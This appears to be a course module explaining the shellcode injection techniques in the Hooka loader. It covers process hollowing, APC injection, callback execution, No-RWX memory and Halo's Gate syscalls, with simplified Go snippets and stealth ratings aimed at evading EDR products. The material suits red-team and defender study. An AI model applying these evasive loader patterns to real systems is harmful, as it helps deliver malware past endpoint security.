Module 2: Injection Techniques
Getting code into memory is easy. Getting it there without anyone noticing is the art.
Module Objective
This module covers every injection technique available in Hooka — the 6 CLI-accessible methods and the additional library-only methods. You will learn the difference between self-injection, remote injection, and process-creation-based techniques, understand the API call chains behind each method, and see how Hooka implements them in Go.
1. Injection Fundamentals
Shellcode injection is the process of placing arbitrary machine code into executable memory and transferring control to it. Every injection technique ultimately needs to solve three problems:
The Three Injection Problems
Get a writable region in the target
Copy payload bytes into that region
Transfer control to the shellcode
The differences between techniques lie in where the memory is allocated (self vs remote process), how the shellcode is written (direct write vs process memory APIs), and what mechanism triggers execution (new thread, APC, callback, or hijacked thread).
Injection Categories
| Category | Description | Examples in Hooka |
|---|---|---|
| Self-Injection | Shellcode runs in the loader's own process. Simpler, but the loader process itself is suspicious. | NtCreateThreadEx (local), UuidFromString, Fibers, EnumSystemLocales, Callbacks |
| Remote Injection | Shellcode is written into another (legitimate) process. More evasive but requires cross-process API calls. | CreateRemoteThread, RtlCreateUserThread, NtQueueApcThreadEx |
| Process Creation | A new process is created in a suspended state, modified, then resumed. The shellcode lives in a seemingly clean process. | SuspendedProcess, ProcessHollowing |
2. SuspendedProcess (Default CLI Method)
This is Hooka's default injection technique when used from the CLI. It creates a new process in a suspended state, writes shellcode into it, and resumes the main thread.
SuspendedProcess Flow
CREATE_SUSPENDED flag
Allocate in target
Copy shellcode
RW → RX
Execute
Go// Hooka's SuspendedProcess injection (simplified)
func SuspendedProcess(shellcode []byte, process string) error {
// Create target process in suspended state
si := &syscall.StartupInfo{}
pi := &syscall.ProcessInformation{}
err := syscall.CreateProcess(
nil, syscall.StringToUTF16Ptr(process),
nil, nil, false,
CREATE_SUSPENDED, // 0x00000004
nil, nil, si, pi,
)
// Allocate memory in the remote process
addr, _ := VirtualAllocEx(pi.Process, 0, len(shellcode),
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
// Write shellcode
WriteProcessMemory(pi.Process, addr, shellcode)
// Change permissions: RW -> RX (avoid RWX)
VirtualProtectEx(pi.Process, addr, len(shellcode),
PAGE_EXECUTE_READ, &oldProtect)
// Resume the suspended thread
ResumeThread(pi.Thread)
return nil
}
Why CREATE_SUSPENDED?
Creating the process suspended gives the loader a window to modify the process before any of its code runs. The target process (e.g., svchost.exe or notepad.exe) appears in the process list but has not executed any of its own code yet. After the shellcode is written and permissions are set, resuming the thread starts execution from the shellcode rather than the original entry point.
3. Process Hollowing
Process Hollowing is a more sophisticated variant where the loader replaces the legitimate code of the target process with shellcode. Unlike SuspendedProcess (which allocates new memory), hollowing overwrites the original executable's memory region.
Process Hollowing Walkthrough
CREATE_SUSPENDED
Find PEB address
Read PEB → ImageBase
Overwrite entry point
Execute hollowed code
Go// Process Hollowing - key steps (simplified)
func ProcessHollowing(shellcode []byte, process string) error {
// Step 1: Create suspended process
createSuspendedProcess(process, &pi)
// Step 2: Query PEB location
var pbi PROCESS_BASIC_INFORMATION
ZwQueryInformationProcess(pi.Process,
ProcessBasicInformation, &pbi, ...)
// Step 3: Read image base from PEB
// PEB + 0x10 = ImageBaseAddress on x64
var imageBase uintptr
ReadProcessMemory(pi.Process,
pbi.PebBaseAddress + 0x10, &imageBase, ...)
// Step 4: Read PE header to find entry point
var peHeader [0x200]byte
ReadProcessMemory(pi.Process, imageBase, &peHeader, ...)
entryPointRVA := parsePEEntryPoint(peHeader)
// Step 5: Write shellcode at entry point
WriteProcessMemory(pi.Process,
imageBase + entryPointRVA, shellcode, ...)
// Step 6: Resume execution
ResumeThread(pi.Thread)
return nil
}
Detection Considerations
Process Hollowing is a well-known technique. EDRs look for the telltale pattern of CreateProcess (suspended) followed by ZwQueryInformationProcess and WriteProcessMemory. Hooka mitigates this by optionally combining hollowing with direct syscalls (Module 3) and NTDLL unhooking (Module 4) to avoid triggering the EDR's userland hooks on these functions.
4. NtCreateThreadEx
NtCreateThreadEx is a native NT API function that creates a thread in any process. Unlike the higher-level CreateRemoteThread, it operates at a lower level and can be called via direct syscalls to bypass EDR hooks entirely.
Go// NtCreateThreadEx injection
func NtCreateThreadEx(shellcode []byte) error {
// Allocate local memory
addr, _ := VirtualAlloc(0, len(shellcode),
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
// Copy shellcode
RtlCopyMemory(addr, shellcode, len(shellcode))
// Change to executable
VirtualProtect(addr, len(shellcode),
PAGE_EXECUTE_READ, &oldProtect)
// Create thread at shellcode address
var hThread uintptr
NtCreateThreadEx(&hThread,
THREAD_ALL_ACCESS, // DesiredAccess
nil, // ObjectAttributes
currentProcess, // ProcessHandle (self)
addr, // StartRoutine (shellcode)
0, // Argument
0, // CreateFlags
0, 0, 0, // StackSize params
nil) // AttributeList
WaitForSingleObject(hThread, INFINITE)
return nil
}
For remote injection, the same function is used but with a handle to the target process instead of currentProcess. Hooka also provides NtCreateThreadExHalos, which combines this injection method with Halo's Gate syscall resolution (covered in Module 3).
5. EtwpCreateEtwThread
This technique abuses an undocumented Windows function: EtwpCreateEtwThread. This function is normally used internally by the Event Tracing for Windows subsystem to create worker threads. By calling it with a shellcode address as the start routine, the loader gets code execution through a mechanism that most EDRs do not monitor.
Go// EtwpCreateEtwThread injection
func EtwpCreateEtwThread(shellcode []byte) error {
addr, _ := VirtualAlloc(0, len(shellcode),
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
RtlCopyMemory(addr, shellcode, len(shellcode))
VirtualProtect(addr, len(shellcode),
PAGE_EXECUTE_READ, &oldProtect)
// Resolve the undocumented function from ntdll
etwpFunc := GetProcAddress(
GetModuleHandle("ntdll.dll"),
"EtwpCreateEtwThread")
// Call it with shellcode as the thread start
syscall.SyscallN(etwpFunc, addr, 0)
return nil
}
Why EtwpCreateEtwThread?
Most EDR products hook NtCreateThreadEx, CreateRemoteThread, and RtlCreateUserThread. Very few monitor EtwpCreateEtwThread because it is not a documented API and is not commonly used for thread creation. This makes it a lower-detection alternative for self-injection scenarios.
6. APC-Based Injection
Asynchronous Procedure Calls (APCs) are a Windows mechanism for queuing work to a specific thread. When a thread enters an alertable wait state (e.g., SleepEx, WaitForSingleObjectEx), any queued APCs execute. Hooka implements two APC variants:
NtQueueApcThreadEx
The native NT variant that queues an APC to a thread in a remote process. The APC points to the shellcode address, so when the target thread becomes alertable, the shellcode runs.
Go// NtQueueApcThreadEx injection
func NtQueueApcThreadEx(shellcode []byte, process string) error {
// Create suspended process to get a guaranteed alertable thread
createSuspendedProcess(process, &pi)
// Allocate and write shellcode in target
addr := allocateAndWrite(pi.Process, shellcode)
// Queue APC to the main thread
NtQueueApcThreadEx(pi.Thread,
1, // ApcRoutine type (UserApcReserveHandle for special APC)
addr, // APC routine = shellcode
0, // Arg1
0) // Arg2
// Resume thread - APC fires when thread becomes alertable
ResumeThread(pi.Thread)
return nil
}
QueueUserApc
The higher-level Win32 variant. Functionally similar but uses the documented QueueUserAPC API. Less stealthy than the Nt variant but more reliable across Windows versions.
7. No-RWX Technique
A No-RWX loader never creates memory that is both writable and executable at the same time. This is critical because memory scanners flag PAGE_EXECUTE_READWRITE (0x40) allocations as highly suspicious.
No-RWX Permission Lifecycle
PAGE_READWRITE (RW)
Write shellcode
PAGE_EXECUTE_READ (RX)
Shellcode runs as RX
Hooka applies this pattern across all its injection methods. Memory starts as PAGE_READWRITE for the write phase, then transitions to PAGE_EXECUTE_READ before execution. At no point does the memory have all three permissions simultaneously.
RWX vs No-RWX Detection
Tools like Moneta specifically scan for private memory pages with PAGE_EXECUTE_READWRITE protection. By using the RW → RX transition, Hooka avoids this trivial detection. However, note that the VirtualProtect call itself can be monitored — an EDR that hooks NtProtectVirtualMemory will see the permission change. This is why combining No-RWX with direct syscalls (Module 3) provides stronger evasion.
8. Callback-Based Execution
Instead of creating threads, callback-based techniques abuse Windows API functions that accept function pointers. The loader passes the shellcode address as the callback, and Windows calls it as part of the API's normal operation.
UuidFromString
Shellcode is encoded as UUID strings. UuidFromStringA decodes each UUID back into bytes, writing them into an executable heap. A callback function pointer then triggers execution.
Fibers
Windows Fibers are lightweight threads managed in user mode. The loader converts the current thread to a fiber, creates a new fiber pointing to the shellcode, and switches to it:
Go// Fiber-based execution
func FiberInject(shellcode []byte) error {
addr := allocateAndWriteRX(shellcode)
// Convert current thread to fiber
mainFiber := ConvertThreadToFiber(0)
// Create new fiber with shellcode as start
scFiber := CreateFiber(0, addr, 0)
// Switch to shellcode fiber
SwitchToFiber(scFiber)
// Shellcode has executed, switch back
SwitchToFiber(mainFiber)
return nil
}
EnumSystemLocales
EnumSystemLocalesEx accepts a callback function that it invokes for each locale on the system. If the callback pointer is the shellcode address, the shellcode executes when Windows enumerates the first locale:
Go// EnumSystemLocales callback execution
func EnumSystemLocalesInject(shellcode []byte) error {
addr := allocateAndWriteRX(shellcode)
// Windows calls addr() for each system locale
EnumSystemLocalesEx(addr, LOCALE_ALL, 0, 0)
return nil
}
Why Callbacks Evade Detection
Callback-based execution avoids the CreateThread / NtCreateThreadEx API calls that EDRs heavily monitor. The execution happens inside a legitimate Windows API function, making the call stack appear normal. The thread was not created to run shellcode — it was created to enumerate locales or convert fibers, and the shellcode execution is a side effect.
9. Remote Injection Variants
CreateRemoteThread
The classic remote injection API. Opens a handle to the target process, allocates memory, writes shellcode, and creates a thread. Well-known and heavily monitored, but included in Hooka's library for completeness.
RtlCreateUserThread
An undocumented ntdll function that creates threads in remote processes. Less monitored than CreateRemoteThread because it bypasses kernel32.
10. Halo's Gate Injection Variants
Hooka provides Halo's Gate-enhanced versions of certain injection methods. These combine the injection technique with Halo's Gate syscall resolution (detailed in Module 3) to bypass EDR hooks on the APIs used during injection:
- NtCreateThreadExHalos — NtCreateThreadEx with Halo's Gate SSN resolution
- EnumSystemLocalesHalos — EnumSystemLocales callback with Halo's Gate
By resolving system service numbers dynamically and making direct syscalls, these variants bypass any inline hooks that EDRs have placed on the relevant ntdll functions.
11. Complete Technique Comparison
This table summarizes the injection techniques available in Hooka (10 exported library functions plus conceptual groupings):
| Technique | Type | Key API | CLI | Stealth |
|---|---|---|---|---|
| SuspendedProcess | Process Creation | CreateProcessA + ResumeThread | Yes | Medium |
| ProcessHollowing | Process Creation | ZwQueryInformationProcess + WriteProcessMemory | Yes | Medium |
| NtCreateThreadEx | Self / Remote | NtCreateThreadEx | Yes | Medium |
| EtwpCreateEtwThread | Self | EtwpCreateEtwThread (undocumented) | Yes | High |
| NtQueueApcThreadEx | Remote (APC) | NtQueueApcThreadEx | Yes | High |
| NoRwx | Self | VirtualAlloc + VirtualProtect (no RWX) | Yes | Medium |
| QueueUserApc | Remote (APC) | QueueUserAPC | No | Medium |
| CreateRemoteThread | Remote | CreateRemoteThread | No | Low |
| RtlCreateUserThread | Remote | RtlCreateUserThread (undocumented) | No | Medium |
| UuidFromString | Self (Callback) | UuidFromStringA | No | High |
| Fibers | Self (Callback) | CreateFiber + SwitchToFiber | No | High |
| EnumSystemLocales | Self (Callback) | EnumSystemLocalesEx | No | High |
| Callbacks (generic) | Self (Callback) | Various Windows callbacks | No | High |
| NtCreateThreadExHalos | Self / Remote | NtCreateThreadEx + Halo's Gate | No | Very High |
| EnumSystemLocalesHalos | Self (Callback) | EnumSystemLocales + Halo's Gate | No | Very High |
12. Choosing an Injection Technique
Decision Framework
When selecting an injection technique, consider these factors:
- Self-injection is simpler and faster, but the loader process is the one that appears malicious. Best for quick testing or scenarios where the process identity doesn't matter.
- Remote injection hides shellcode in a legitimate process (e.g.,
explorer.exe), but cross-process operations are heavily monitored by EDRs. - Process creation (SuspendedProcess, Hollowing) creates a fresh, clean-looking process. Good balance of stealth and reliability.
- Callback-based methods avoid thread creation APIs entirely, making them the stealthiest for self-injection scenarios.
- Halo's Gate variants add syscall-level evasion on top of the base technique, providing maximum hook bypass.
Injection Decision Tree
High: APC / Low: RemoteThread
Yes: EtwpCreate / No: Callbacks
Knowledge Check
Q1: What is the key difference between SuspendedProcess injection and Process Hollowing?
Q2: Why are callback-based injection techniques (Fibers, EnumSystemLocales) considered stealthier than thread creation?
Q3: What does the No-RWX technique prevent?